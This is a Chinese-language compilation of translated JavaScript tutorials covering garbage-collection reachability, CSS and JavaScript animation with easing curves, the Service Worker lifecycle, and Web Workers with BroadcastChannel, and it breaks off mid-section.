例如,如果局部变量中有对象,并且该对象具有引用另一个对象的属性,则该对象被视为可达性, 它引用的那些也是可以访问的,详细的例子如下。

JavaScript 引擎中有一个后台进程称为垃圾回收器,它监视所有对象,并删除那些不可访问的对象。

一个简单的例子

下面是最简单的例子:

// user 具有对象的引用
let user = {
  name: "John"
};

图片描述

这里箭头表示一个对象引用。全局变量“user”引用对象 {name:“John”} (为了简洁起见,我们将其命名为John)。John 的 “name” 属性存储一个基本类型,因此它被绘制在对象中。

如果 user 的值被覆盖,则引用丢失:

user = null;

图片描述

现在 John 变成不可达的状态,没有办法访问它,没有对它的引用。垃圾回收器将丢弃 John 数据并释放内存。

两个引用

现在让我们假设我们将引用从 user 复制到 admin:

// user具有对象的引用
let user = {
  name: "John"
};

let admin = user;

图片描述

现在如果我们做同样的事情:

user = null;

该对象仍然可以通过 admin 全局变量访问,所以它在内存中。如果我们也覆盖admin,那么它可以被释放。

相互关联的对象

现在来看一个更复杂的例子, family 对象:

function marry (man, woman) {
  woman.husban = man;
  man.wife = woman;

  return {
    father: man,
    mother: woman
  }
}

let family = marry({
  name: "John"
}, {
  name: "Ann"
})

函数 marry 通过给两个对象彼此提供引用来“联姻”它们,并返回一个包含两个对象的新对象。

产生的内存结构:

图片描述

到目前为止,所有对象都是可访问的。

现在让我们删除两个引用:

delete family.father;
delete family.mother.husband;

图片描述

仅仅删除这两个引用中的一个是不够的,因为所有对象仍然是可访问的。

但是如果我们把这两个都删除,那么我们可以看到 John 不再有传入的引用:

图片描述

输出引用无关紧要。只有传入的对象才能使对象可访问,因此,John 现在是不可访问的,并将从内存中删除所有不可访问的数据。

垃圾回收之后:

图片描述

无法访问的数据块

有可能整个相互连接的对象变得不可访问并从内存中删除。

源对象与上面的相同。然后:

family = null;

内存中的图片变成:

图片描述

这个例子说明了可达性的概念是多么重要。

很明显,John和Ann仍然链接在一起,都有传入的引用。但这还不够。

“family”对象已经从根上断开了链接,不再有对它的引用,因此下面的整个块变得不可到达,并将被删除。

内部算法

基本的垃圾回收算法称为**“标记-清除”**,定期执行以下“垃圾回收”步骤:

  • 垃圾回收器获取根并**“标记”**(记住)它们。
  • 然后它访问并“标记”所有来自它们的引用。
  • 然后它访问标记的对象并标记它们的引用。所有被访问的对象都被记住,以便以后不再访问同一个对象两次。
  • 以此类推,直到有未访问的引用(可以从根访问)为止。
  • 除标记的对象外,所有对象都被删除。

例如,对象结构如下:

图片描述

我们可以清楚地看到右边有一个“不可到达的块”。现在让我们看看**“标记并清除”**垃圾回收器如何处理它。

第一步标记根

图片描述

然后标记他们的引用

图片描述

以及子孙代的引用:

图片描述

现在进程中不能访问的对象被认为是不可访问的,将被删除:

图片描述

这就是垃圾收集的工作原理。JavaScript引擎应用了许多优化,使其运行得更快,并且不影响执行。

一些优化:

  • 分代回收——对象分为两组:“新对象”和“旧对象”。许多对象出现,完成它们的工作并迅速结 ,它们很快就会被清理干净。那些活得足够久的对象,会变“老”,并且很少接受检查。

  • 增量回收——如果有很多对象,并且我们试图一次遍历并标记整个对象集,那么可能会花费一些时间,并在执行中会有一定的延迟。因此,引擎试图将垃圾回收分解为多个部分。然后,各个部分分别执行。这需要额外的标记来跟踪变化,这样有很多微小的延迟,而不是很大的延迟。

  • 空闲时间收集——垃圾回收器只在 CPU 空闲时运行,以减少对执行的可能影响。

面试怎么回答

1)问什么是垃圾

一般来说没有被引用的对象就是垃圾,就是要被清除, 有个例外如果几个对象引用形成一个环,互相引用,但根访问不到它们,这几个对象也是垃圾,也要被清除。

2)如何检垃圾

一种算法是标记 标记-清除 算法,还想说出不同的算法可以参考这里

更深入一些的讲解 http://newhtml.net/v8-garbage-collection/

还有一种牛逼的答法就是说看我的博客,当然是要自己总结的博客。

原文:https://javascript.info/garbage-collection#reachability

你的点赞是我持续分享好东西的动力,欢迎点赞!

13.JavaScript是如何工作的: CSS 和 JS 动画底层原理及如何优化它们的性能

概述

你肯定知道,动画在创建引人注目的 Web 应用程序中扮演着重要的角色。随着用户越来越多地将注意力转移到用户体验上,商户开始意识到完美、愉快的用户体验的重要性,结果 Web 应用程序变得越来越重,并具有更动态交互的 UI。这一切都需要更复杂的动画,以便用户在整个过程中更平稳地进行状态转换。今天,这甚至不被认为是什么特别的事情。用户正变得越来越挑剔,默认情况下,他们期望的是具有高响应性和交互性的用户界面。

然而,界面的动画化并不一定是简单的。什么是动画,什么时候该用动画,动画应该有什么样的视频效果,这些都是棘手的问题。

JavaScript 和 CSS 动画比较

创建 Web 动画的两种主要方法是使用JavaScript和 CSS。选择哪种没有对或错,这完全取决于你想要达到的效果。

CSS 动画

用CSS制作动画是让元素在屏幕上移动的最简单方法。

这里将从如何让元素在 X 和 Y 轴上移动 50px 简单示例开始,通过持续 1 秒的 CSS 过渡来移动元素。

.box {
  -webkit-transform: translate(0, 0);
  -webkit-transition: -webkit-transform 1000ms;

  transform: translate(0, 0);
  transition: transform 1000ms;
}

.box.move {
  -webkit-transform: translate(50px, 50px);
  transform: translate(50px, 50px);
}

当元素加上 move 类时,改变 transform 的值然后开发发生过渡效果。

除了转换持续时间外,还有 easing 属性,这实际上就是动画的运动速度方式,该参数会在之后详细介绍。

如果像上面的代码片段一样,创建单独的 CSS 类来实现动画,当然也可以使用 JavaScript 来切换每个动画。

如下元素:

div class="box">
  Sample content.
</div>

然后,使用 JavaScript 来切换每个动画。

var boxElements = document.getElementsByClassName('box'),
    boxElementsLength = boxElements.length,
    i;

for (i = 0; i < boxElementsLength; i++) {
  boxElements[i].classList.add('move');
}

上面的代码片段是为所有包含 box 类的元素为其添加 move 类以触发动画。

这样做可以为你的应用提供良好的平衡。 你可以专注于使用 JavaScript 管理状态,只需在目标元素上设置适当的类,让浏览器处理动画。 如果沿着这条路线前进,你可以在元素上监听 transitionend 事件,但前提是放弃旧版 Internet Explorer 的支持:

image

监听 transitionend 触发的事件如下所示:

var boxElement = document.querySelector('.box');
boxElement.addEventListener('transitionend', onTransitionEnd, false);

function onTransitionEnd() {
  // Handle the transition finishing.
}

除了使用 CSS 过渡之外,你还可以使用 CSS 动画,CSS 动画可以让你更好地控制单独的动画关键帧,持续时间以及循环次数。

关键帧用于指示浏览器 CSS 属性在给定时间点上应有的 CSS 属性,然后填充空白。

来个简单的例子:

.box {
  /* 动画的名字 */
  animation-name: movingBox;

  /* 动画的持续时间 */
  animation-duration: 2300ms;

  /* 动画的运行次数 */
  animation-iteration-count: infinite;

  /* 设置对象动画在循环中是否反向运动的方法 */
  animation-direction: alternate;
}

@keyframes movingBox {
  0% {
    transform: translate(0, 0);
    opacity: 0.4;
  }

  25% {
    opacity: 0.9;
  }

  50% {
    transform: translate(150px, 200px);
    opacity: 0.2;
  }

  100% {
    transform: translate(40px, 30px);
    opacity: 0.8;
  }
}

效果示例: https://sessionstack.github.io/blog/demos/keyframes/

使用CSS动画,你可以独立于目标元素定义动画本身,并使用 animation-name 属性来选择所需的动画。

CSS 动画在某种程度仍然需要加浏览器前缀的,在 Safari、Safari Mobile 和 Android 中都使用了 -webkit。 Chrome、 Opera、Internet Explorer 和 Firefox 都不需要添加前缀。许多工具可以帮助你创建所需 CSS 的前缀,这样就不需要在源文件中带样式前缀。

JavaScript 动画

和 CSS 过渡或者 CSS 动画相比,使用 JavaScript 创建动画更加复杂,但它通常为开发人员提供了更强大的功能。

JavaScript 动画是作为代码的一部分内联编写的。你还可以将它们封装在其他对象中。以下为用 JavaScript 来实现最开始的 CSS 过渡的代码:

var boxElement = document.querySelector('.box');
var animation = boxElement.animate([
  {transform: 'translate(0)'},
  {transform: 'translate(150px, 200px)'}
])

animation.addEventListener('finish', function() {
  boxElement.style.transform = 'translate(150px, 200px)';
})

默认情况下,Web 动画仅修改元素的展示效果。 如果要将对象停留在移动后的位置,则应在动画完成时修改其基础样式。 这就是为什么在上面的例子中监听 finish 事件,并将 box.style.transform 属性设置为 translate(150px, 200px),该属性值和 CSS 动画执行的第二个样式转换是一样的。

使用 JavaScript 动画,你可以在每一步完全控制元素的样式。 这意味着你可以放慢动画速度,暂停动画,停止它们,翻转它们,并根据需要操纵元素。 如果你正在构建复杂的面向对象的应用程序,这尤其有用,因为你可以正确地封装你想要的动画行为。

Easing 定义

自然过渡效果会让你的用户对你的 Web 应用程序感觉更舒服,从而带来更好的用户体验。

当然,没有任何东西从一个点到另一个点线性移动。 实际上,当事物在我们周围的物理世界中移动时,事物往往会加速或减速,因为我们不是在真空中,并且有不同的因素会影响这一点。 人类的大脑会期望感受这样的移动,所以当为网络应用制作动画的时候,利用此类知识会对自己会有好处。

以下是一些术语需要了解一下:

  • ease in —  相对于匀速,开始的时候慢,之后快

  • ease out — 相对于匀速,开始时快,结束时候间慢

  • ease-in-out — 相对于匀速,开始和结束都慢)两头慢

Easing 关键字

CSS 过渡和动画允许你选择要使用的 easing 类型。 不同的关键字会影响动画的 easing,你也可以完全自定义 easing 方法。

以下为可以选择用来控制 easing 的 CSS 关键字:

  • linear
  • ease-in
  • ease-out
  • ease-in-out

让我们深入来了解一下这几个兄弟,并看它们各自展示的效果是怎么样。

Linear 动画

easing 方法的的默认为 linear,以下为 linear 过渡效果的图示:

image

随着时间增加,值等比增加,使用 linear 动效,会让动画不自然,一般来说,避免使用 linear 动效。

以下是如何实现简单的线性动画:

transition: transform 500ms linear;

Ease-out 动画

如前所述,与线性动画相比,easing out 动画开始时快,结束时候间慢,过渡效果的图示如下:

image

一般来说,easing out过渡效果是最适合做界面体验的,因为快速地启动会给人以快速响应的动画的感觉,而结束时让人感觉很平滑这得归功于不一致的移动速度。

有很多方法可以实现 ease-out 效果,但最简单的是 CSS 中的 ease-out 关键字:

transition: transform 500ms ease-out;

Ease-in 动画

ease-out 动画相反-开始时快,结束时候间慢,过渡效果图如下:

image

ease-out 动画相比, ease-in 可能会让人感到不寻常,由于启动缓慢给人以反应卡顿的感觉,因此会产生一种无反应的感觉。 动画结束很快也会产生一种奇怪的感觉,因为整个动画正在加速,而现实世界中的物体在突然停止时往往会减速。

ease-outlinear 动画类似,使用 CSS 关键字来实现 ease-in 动画:

transition: transform 500ms ease-in;

Ease-in-out 动画

该动画为 ease-in 和 ease-out 的合集,过渡效果图如下:

image

不要使用太长的动画持续时间,因为它们会让你的 UI 感觉没有响应。

ease-in-out CSS 关键字来实现 ease-in-out 动画:

transition: transform 500ms ease-in-out;

自定义 easing

你也可以定义自己的 easing 曲线,这可以更好地创建自己想要的动画效果。

实际上, ease-inlinearease 关键字映射到预定义 贝塞尔曲线 ,可以在 CSS transitions specificationWeb Animations specification 中查找更多关于贝塞尔曲线的内容。

贝塞尔曲线 (Bézier curves)

Bézier curve(贝塞尔曲线)是应用于二维图形应用程序的数学曲线。 曲线定义:起始点、终止点(也称锚点)、控制点。通过调整控制点,贝塞尔曲线的形状会发生变化。 1962年,法国数学家Pierre Bézier第一个研究了这种矢量绘制曲线的方法,并给出了详细的计算公式,因此按照这样的公式绘制出来的曲线就用他的姓氏来命名,称为贝塞尔曲线

CSS3 transition-timing-function 属性,其语法如下:

transition-timing-function: linear|ease|ease-in|ease-out|ease-in-out|cubic-bezier(n,n,n,n);

总而言之可以用cubic-bezier(n,n,n,n)的形式来表示全部的属性值,这里就涉及到贝塞尔曲线(Bézier curve)。

让我们看看贝塞尔曲线的工作原理。 贝塞尔曲线需要四个值,或者更准确地说它需要两对数字。 每对描述立方贝塞尔曲线控制点的 XY 坐标。贝塞尔曲线的起点有一个坐标 (0, 0) ,结束坐标是 (1, 1)。 你可以设置两个对号,两个控制点的 X 值必须在 [0,1] 范围内,并且每个控制点的 Y 值可以超过 [0,1] 限制,尽管规定不清楚多少。

即使每个控制点的 XY 值稍有变化,也会得到完全不同的曲线。让我们看两张贝塞尔曲线的图,两张图相近但坐标的控制结点却不同。

image

image

如您所见,两张图有很大的不同, 第一个控制点矢量差为 (0.045,0.183) 矢量差,而第二控制点矢量差为 (-0.427, -0.054)

第二条曲线的样式为:

transition: transform 500ms cubic-bezier(0.465, 0.183, 0.153, 0.946);

前两个数字是第一个控制点的 XY 坐标,后两个数字是第二个控制点的 XY 坐标。

性能优化

当你在使用动画的时候,你应该维持 60 帧每秒,否则会影响用户体验。

和世界上的其他事物一样,动画也会有性能的开销。一些属性的动画性能开销相比其它属性要小。例如,为元素的 widthheight 做动画会更改其几何结构并且可能会造成页面上的其它元素移动或者大小的改变,这个过程称为布局。我们在之前的一篇文章 中更详细地讨论了布局和渲染。

通常,你应该避免动画触发布局或重绘的属性。 对于大多数现代浏览器,这意味着把动画局限于 opacitytransform 属性。

Will-change

你可以使用 will-change 知浏览器你打算更改元素的属性,这允许浏览器在进行更改之前进行最适当的优化。但是,不要过度使用 will-change,因为这样做会导致浏览器浪费资源,从而导致更多的性能问题。

will-change 用法如下:

.box {
  will-change: transform, opacity;
}

该属性在 Chrome, Firefox,Opera 得到很好的兼容。

image

JavaScript 动画和 CSS 动画该如果抉择

  • 根据 Google Developer,渲染线程分为 主线程 (main thread)合成线程 (compositor thread)。如果 CSS 动画只是改变 transformsopacity,这时整个 CSS 动画得以在 合成线程 完成(而JS动画则会在 主线程 执行,然后触发合成线程进行下一步操作),在 JS 执行一些昂贵的任务时,主线程繁忙,CSS 动画由于使用了合成线程可以保持流畅

  • 在许多情况下,也可以由合成线程来处理 transformsopacity 属性值的更改。

  • 对于帧速表现不好的低版本浏览器,CSS3可以做到自然降级,而JS则需要撰写额外代码。

  • CSS动画有天然事件支持(TransitionEnd、AnimationEnd,但是它们都需要针对浏览器加前缀),JS则需要自己写事件。

  • 如果有任何动画触发绘画,布局或两者,则需要 “主线程” 才能完成工作。 这对于基于 CSS 和 JavaScript 的动画都是如此,布局或绘制的开销可能会使与 CSS 或 JavaScript 执行相关的任何工作相形见绌,这使得问题没有实际意义。

  • CSS3有兼容性问题,而JS大多时候没有兼容性问题。

总结

如果动画只是简单的状态切换,不需要中间过程控制,在这种情况下,css 动画是优选方案。它可以让你将动画逻辑放在样式文件里面,而不会让你的页面充斥 Javascript 库。然而如果你在设计很复杂的富客户端界面或者在开发一个有着复杂 UI 状态的 APP。那么你应该使用 js 动画,这样你的动画可以保持高效,并且你的工作流也更可控。所以,在实现一些小的交互动效的时候,就多考虑考虑 CSS 动画。对于一些复杂控制的动画,使用 javascript 比较可靠。


原文:

https://blog.sessionstack.com/how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance-db0e79586216

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

8.JavaScript 是如何工作的:Service Worker 的生命周期及使用场景

image

你可能已经知道,渐进式Web应用程序 只会越来越受欢迎,因为它们的目标是让Web应用程序用户体验更流畅,创建类似于原生应用程序的体验,而不是浏览器的外观和感觉。

构建渐进式Web应用程序的主要要求之一是使其在网络和加载方面非常可靠——它应该在不确定或不存在的网络条件下可用。

在这篇文章中,将深入探讨 Service Workers:它们是如何工作,你应该关心什么。最后,还列出了 Service Workers 中的一些独特优点在哪些场景下是值得我们使用的。

简介

如果你还想了解更多 Service Workers 的知识,可以阅读作者关于 Web Workers 的文章。

Service Worker是什么

MDN 的介绍:

Service Worker 是一个浏览器背后运行的脚步,独立于 web 页面,为无需一个页面或用户交互的功能打开了大门。今日,它包含了推送通知和背景异步(push notifications and background sync)的功能。将来,Service Worker 将支持包括 periodic sync or geofencing 的功能。

基本上,Service Worker 是 Web Worker 的一个类型,更具体地说,它像 Shared Worker

  • Service Worker 在其自己的全局上下文中运行
  • 它没有绑定到特定的网页
  • 它不能访问到 DOM

这是一个令人兴奋的 API 的原因是它允许你支持离线体验,让开发人员完全控制体验。

Service Worker 的生命周期

Service Worker 的生命周期与 web 页面完全分离。它包括以下几个阶段:

  • 下载
  • 安装
  • 激活

下载

这是浏览器下载包含 Service Worker 的 .js 文件的时候。

安装

要为 web 应用程序安装 Service Worker,必须先注册它,这可以在 JavaScript 代码中完成。注册 Service Worker 后,它会提示浏览器在后台启动 Service Worker 安装步骤。

通过注册 Service Worker,你可以告诉浏览器你的 Service Worker 的 JavaScript 文件的位置。看看下面的代码:

image

上例代码首先检查当前环境中是否支持 Service Worker API。如果支持,则 /sw.js 这个 Service Worker 就被注册了。

每次页面加载时都可以调用 register() 方法,浏览器会判断 Service Worker 是否已经注册,根据注册情况会对应的给出正确处理。

register() 方法的一个重要细节是 Service Worker 文件的位置。在本例中,可以看到 Service Worker 文件位于域的根目录,这意味着 Service Worker 范围将是这个域下的。换句话说,这个 Service Worker 将为这个域中的所有内容接收 fetch 事件。如果我们在 /example/sw.js 注册 Service Worker 文件,那么 Service Worker 只会看到以 /example/ 开头的页面的 fetch 事件(例如 /example/page1//example/page2/)。

通常在安装步骤中,你需要缓存一些静态资源。 如果所有文件都缓存成功,则 Service Worker 将被安装。 如果任何文件无法下载和缓存,则安装步骤将失败,Service Worker 将不会激活(即不会被安装)。 如果发生这种情况,不要担心,下次再试一次。 但是,这意味着如果它安装,你知道你有这些静态资源在缓存中。

如果注册需要在加载事件之后发生,这就解答了你“注册是否需要在加载事件之后发生”的疑惑。这不是必要的,但绝对是推荐的。

为什么?让我们考虑用户第一次访问你的 Web 应用程序。目前还没有 Service Worker,而且浏览器无法预先知道最终是否会安装 Service Worker。如果安装了 Service Worker,浏览器将需要为这个额外的线程花费额外的 CPU 和内存,否则浏览器将把这些额外的 CPU 和内存用于呈现 Web 页面。

最重要的是,如果在页面上安装一个 Service Worker,就可能会有延迟加载和渲染的风险 —— 而不是尽快让你的用户可以使用该页面。

注意,这种情况对第一次的访问页面时才会有。后续的页面访问不会受到 Service Worker 安装的影响。一旦 Service Worker 在第一次访问页面时被激活,它就可以处理加载/缓存事件,以便后续访问 Web 应用程序。这一切都是有意义的,因为它需要准备好处理受限的的网络连接。

激活

安装 Service Worker 之后,下一步将是激活它,这是处理旧缓存管理的好机会。

在激活步骤之后,Service Worker 将控制所有属于其范围的页面,尽管第一次注册 Service Worker 的页面将不会被控制,直到再次加载。

Service Worker 一旦掌控,它将处于以下两种状态之一:

  • 处理从网页发出网络请求或消息时发生的提取和消息事件

  • Service Worker 将被终止以节省内存

Service Worker 生命周期如下:

image

Service Worker 安装的内部机制

在页面启动注册过程之后,看看 Service Worker 脚本中发生了什么,它通过向 Service Worker 实例添加事件监听来处理 install 事件:

以下是处理安装事件时需要采取的步骤:

  • 开启一个缓存
  • 缓存我们的文件
  • 确认是否缓存了所有必需的资源

对于最基本的示例,你需要为安装事件定义回调并决定要缓存哪些文件。

self.addEventListener('install', function(event) { // Perform install steps });

下面是 Service Worker 简单的一个内部安装过程:

image

从上例代码可以得到:

调用了caches.open() 和我们想要的缓存名称, 之后调用 cache.addAll() 并传入文件数组。 这是一个promise 链( caches.open() 和 cache.addAll() )。 event.waitUntil() 方法接受一个承诺,并使用它来知道安装需要多长时间,以及它是否成功。

如果成功缓存了所有文件,那么将安装 Service Worker。如果其中的一个文件下载失败,那么安装步骤将失败。这意味着需要小心在安装步骤中决定要缓存的文件列表,定义一长串文件将增加一个文件可能无法缓存的机会,导致你的 Service Worker 没有得到安装。

处理 install 事件完全是可选的,你可以避免它,在这种情况下,你不需要执行这里的任何步骤。

运行时缓存请求

安装了 Service Worker 后,用户导航到另一个页面或刷新所在的页面,Service Worker 将收到 fetch 事件。下面是一个例子,演示如何返回缓存的资源或执行一个新的请求,然后缓存结果:

image

上述流程:

  • 在这里我们定义了 fetch 事件,在 event.respondWith() 中,我们传递了一个来自 caches.match()promise。 此方法查看请求,并查找来自 Service Worker 创建的任何缓存的任何缓存结果。

  • 如果在缓存中,响应内容就被恢复了。

  • 否则,将会执行 fetch。

  • 检查状态码是不是 200,同时检查响应类型是 basic,表明响应来自我们最初的请求。在这种情况下,不会缓存对第三方资源的请求。

  • 响应被缓存下来

如果通过检查,克隆响应。这是因为响应是 Stream,所以只能消耗一次。既然要返回浏览器使用的响应,并将其传递给缓存使用,就需要克隆它,以便可以一个发送到浏览器,一个发送到缓存。

更新 Service Worker

当用户访问你的 Web 应用程序时,浏览器试图重新下载包含 Service Worker 代码的 .js 文件,这是在后台完成的。

如果现在下载的 Service Worker 的文件与当前 Service Worker 的文件相比如果有一个字节及以上的差异,浏览器将假设 Service Worker 文件已改过,浏览器就会启动新的 Service Worker。

新的 Service Worker 将启动并且安装事件将被移除。然而,在这一点上,旧的 Service Worker 仍在控制你的 web 应用的页面,这意味着新的 Service Worker 将进入 waiting 状态。

一旦你的 Web 应用程序当前打开的页面被关闭,旧的 Service Worker 将被浏览器杀死,新 Service Worker 接管了控制权,它的激活事件将被激发

为什么需要这些?为了避免 Web 应用程序的两个版本同时在不同的 tab 上运行的问题——这在 Web 上是非常常见的,并且可能会产生非常严重的bug(例如,在浏览器中本地存储数据时使用不同的模式)。

从缓存中删除数据

在激活回调中发生的一个常见任务是缓存管理。你要在激活回调中这样做的原因是,如果你要在安装步骤中清除所有旧的缓存,任何保留所有当前页面的旧 Service Worker 将会突然停止服务来自该缓存的文件。

这里提供了一个如何从缓存中删除一些不在白名单中的文件的例子(在本例中,有 page-1、page-2 两个实体):

image

要求 HTTPS 的原因

在构建 Web 应用程序时,通过 localhost 使用 Service Workers,但是一旦将其部署到生产环境中,就需要准备好 HTTPS( 这是使用HTTPS 的最后一个原因)。

使用 Service Worker,可以很容易被劫持连接并伪造响应。如果不使用 HTTPs,人的web应用程序就容易受到黑客的攻击。

为了更安全,你需要在通过 HTTPS 提供的页面上注册 Service Worker,以便知道浏览器接收的 Service Worker 在通过网络传输时未被修改。

浏览器支持

浏览器对 Service Worker 的支持正在变得越来越好:

image

Service Workers 特性将越来越完善及强大

Service Workers 提供的一些独特特性包括:

  • 推送通知 — 允许用户选择从网络应用程序及时更新。
  • 后台同步 — 允许延迟操作,直到用户具有稳定的连接。通过这种方式,可以确保用户想发送的任何内容实都可以发送。
  • 定期同步(后续开放) — 提供管理定期后台同步功能的 API。
  • Geofencing (后续开放) — 可以定义参数,也称为围绕感兴趣领域的 geofences。当设备通过geofence 时,Web 应用程序会收到一个通知,该通知允许根据用户的地理位置提供更好的体验。

原文:

https://blog.sessionstack.com/how-javascript-works-service-workers-their-life-cycle-and-use-cases-52b19ad98b58

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

7.JavaScript是如何工作的:Web Workers的构建块+ 5个使用他们的场景

image

这次我们会逐步讲解 Web Workers,先说个简单的概念,接着讨论不同类型的 Web Workers,他们的组成部分是如何一起工作的,以及不同场景下它们各自优势和限制。最后,提供5个正确使用 Web Workers 的场景。

正如我们前面文章讨论的那样,你应该知道 JavaScript 语言采用的是单线程模型。然而,JavaScript 也为开发人员提供了编写异步代码的机会。

异步编程的局限性

以前的文章讨论过异步编程,以及应该在什么时候使用它。

异步编程可以让UI界面是响应式(渲染速度快)的,通过"代码调度",让需要请求时间的代码先放到在 event loop中晚一点再执行,这样就允许UI先行渲染展示。

异步编程的一个很好的用例就 AJAX 请求。由于请求可能花费大量时间,因此可以使用异步请求,在客户端等待响应的同时还可以执行其他代码。

image

然而,这带来了一个问题——请求是由浏览器的WEB API处理的,但是如何使其他代码是异步的呢?例如,如果成功回调中的代码非常占用CPU:

var result = performCPUIntensiveCalculation();

如果 performCPUIntensiveCalculation 不是一个HTTP请求而是一个阻塞代码(比如一个内容很多的for loop循环),就没有办法及时清空事件循环,浏览器的 UI 渲染就会被阻塞,页面无法及时响应给用户。

这意味着异步函数只能解决一小部分 JavaScript 语言单线程中的局限性问题。

在某些情况下,可以使用 setTimeout 对长时间运行的计算阻塞的,可以使用 setTimeout暂时放入异步队列中,从让页面得到更快的渲染。例如,通过在单独的 setTimeout 调用中批处理复杂的计算,可以将它们放在事件循环中单独的“位置”上,这样可以争取为 UI 渲染/响应的执行时间。

看一个简单的函数,计算一个数字数组的平均值:

image

以下是重写上述代码并“模拟”异步性的方法:

function averageAsync(numbers, callback) {
    var len = numbers.length,
        sum = 0;

    if (len === 0) {
        return 0;
    } 

    function calculateSumAsync(i) {
        if (i < len) {
            // Put the next function call on the event loop.
            setTimeout(function() {
                sum += numbers[i];
                calculateSumAsync(i + 1);
            }, 0);
        } else {
            // The end of the array is reached so we're invoking the callback.
            callback(sum / len);
        }
    }

    calculateSumAsync(0);
}

使用setTimeout函数,该函数将在事件循环中进一步添加计算的每个步骤。在每次计算之间,将有足够的时间进行其他计算,从而可以让浏览器进行渲染。

Web Worker 可以解决这个问题

HTML5为我们带来了很多新的东西,包括:

  • SSE(我们在前一篇文章中已经描述并与WebSockets进行了比较)

  • Geolocation

  • Application cache

  • Local Storage

  • Drag and Drop

  • Web Workers

Web Worker 概述

Web Worker 的作用,就是为 JavaScript 创造多线程环境,允许主线程创建 Worker 线程,将一些任务分配给后者运行。在主线程运行的同时,Worker 线程在后台运行,两者互不干扰。等到 Worker 线程完成计算任务,再把结果返回给主线程。这样的好处是,一些计算密集型或高延迟的任务,被 Worker 线程负担了,主线程(通常负责 UI 交互)就会很流畅,不会被阻塞或拖慢。

你可能会问:“JavaScript不是一个单线程的语言吗?”

事实上 JavaScript 是一种不定义线程模型的语言。Web Workers 不是 JavaScript 的一部分,而是可以通过 JavaScript 访问的浏览器特性。历史上,大多数浏览器都是单线程的(当然,这已经改变了),大多数 JavaScript 实现都入发生在浏览器中。Web Workers 不是在 Node.JS 中实现的。Node.js 中有类似的集群(cluster)、子进程概念(child_process),他们也是多线程但是和 Web Workers 还是有区别 。

值得注意的是,规范 中提到了三种类型的 Web Workers:

Dedicated Workers

专用 Workers 只能被创建它的页面访问,并且只能与它通信。以下是浏览器支持的情况:

image

Shared Workers

共享 Workers 在同一源(origin)下面的各种进程都可以访问它,包括:iframes、浏览器中的不同tab页(一个tab页就是一个单独的进程,所以Shared Workers可以用来实现 tab 页之间的交流)、以及其他的共享 Workers。以下是浏览器支持的情况:

image

Service workers

Service Worker 功能:

  • 后台消息传递
  • 网络代理,转发请求,伪造响应
  • 离线缓存
  • 消息推送

在目前阶段,Service Worker 的主要能力集中在网络代理和离线缓存上。具体的实现上,可以理解为 Service Worker 是一个能在网页关闭时仍然运行的 Web Worker。以下是浏览器支持的情况:

image

本文主要讨论 专用 Workers,没有特别声明的话,Web Workers、Workers都是指代的专用 Workers。

Web Workers 是如何工作

Web Workers 一般通过脚本为 .js 文件来构建,在页面中还通过了一些异步的 HTTP 请求,这些请求是完全被隐藏了的,你只需要调用 Web Worker API.

Worker 利用类线程间消息传递来实现并行性。它们保证界面的实时性、高性能和响应性呈现给用户。

Web Workers 在浏览器中的一个独立线程中运行。因此,它们执行的代码需要包含在一个单独的文件中。这一点很重要,请记住!

让我们看看基本 Workers 是如何创建的:

var worker = new Worker('task.js');

Worker() 构造函数的参数是一个脚本文件,该文件就是 Worker 线程所要执行的任务。由于 Worker 不能读取本地文件,所以这个脚本必须来自网络。如果下载没有成功(比如404错误),Worker 就会默默地失败。

为了启动创建的 Worker,需要调用 postMessage 方法:

worker.postMessage();

Web Worker 通信

为了在 Web Worker 和创建它的页面之间进行通信,需要使用 postMessage 方法或 Broadcast Channel

postMessage 方法

新浏览器支持JSON对象作为方法的第一个参数,而旧浏览器只支持字符串。

来看一个示例,通过将 JSON 对象作为一个更“复杂”的示例传递,创建 Worker 的页面如何与之通信。传递字符串跟传递对象的方式也是一样的。

让我们来看看下面的 HTML 页面(或者更准确地说是它的一部分):

<button onclick="startComputation()">Start computation</button>

<script>
  function startComputation() {
    worker.postMessage({'cmd': 'average', 'data': [1, 2, 3, 4]});
  }
  var worker = new Worker('doWork.js');
  worker.addEventListener('message', function(e) {
    console.log(e.data);
  }, false);
  
</script>

然后这是 worker 中的 js 代码:

self.addEventListener('message', function(e) {
  var data = e.data;
  switch (data.cmd) {
    case 'average':
      var result = calculateAverage(data); // 从数值数组中计算平均值的函数
      self.postMessage(result);
      break;
    default:
      self.postMessage('Unknown command');
  }
}, false);

当单击该按钮时,将从主页调用 postMessage。postMessage 行将 JSON 对象传给Worker。Worker 通过定义的消息处理程序监听并处理该消息。

当消息到达时,实际的计算在worker中执行,而不会阻塞事件循环。Worker 检查传递的事件参数 e,像执行 JavaScript 函数一样,处理完成后,把结果传回给主页。

在 Worker 作用域中,this 和 self 都指向 Worker 的全局作用域。

有两种方法可以停止 Worker:从主页调用 worker.terminate() 或在 worker 内部调用 self.close()

Broadcast Channel

Broadcast Channel API 允许同一原始域和用户代理下的所有窗口,iFrames 等进行交互。也就是说,如果用户打开了同一个网站的的两个标签窗口,如果网站内容发生了变化,那么两个窗口会同时得到更新通知。

还是不明白?就拿 Facebook 作为例子吧,假如你现在已经打开 了Facebook 的一个窗口,但是你此时还没有登录,此时你又打开另外一个窗口进行登录,那么你就可以通知其他窗口/标签页去告诉它们一个用户已经登录了并请求它们进行相应的页面更新。

// Connection to a broadcast channel
var bc = new BroadcastChannel('test_channel');

// Example of sending of a simple message
bc.postMessage('This is a test message.');

// Example of a simple event handler that only
// logs the message to the console
bc.onmessage = function (e) { 
  console.log(e.data); 
}

// Disconnect the channel
bc.close()

可以从下面这张图,在视觉上来清晰地感受 Broadcast Channel:

image

Broadcast Channel 浏览器支持比较有限:

image

消息的大小

有两种方式发送消息给Web Workers:

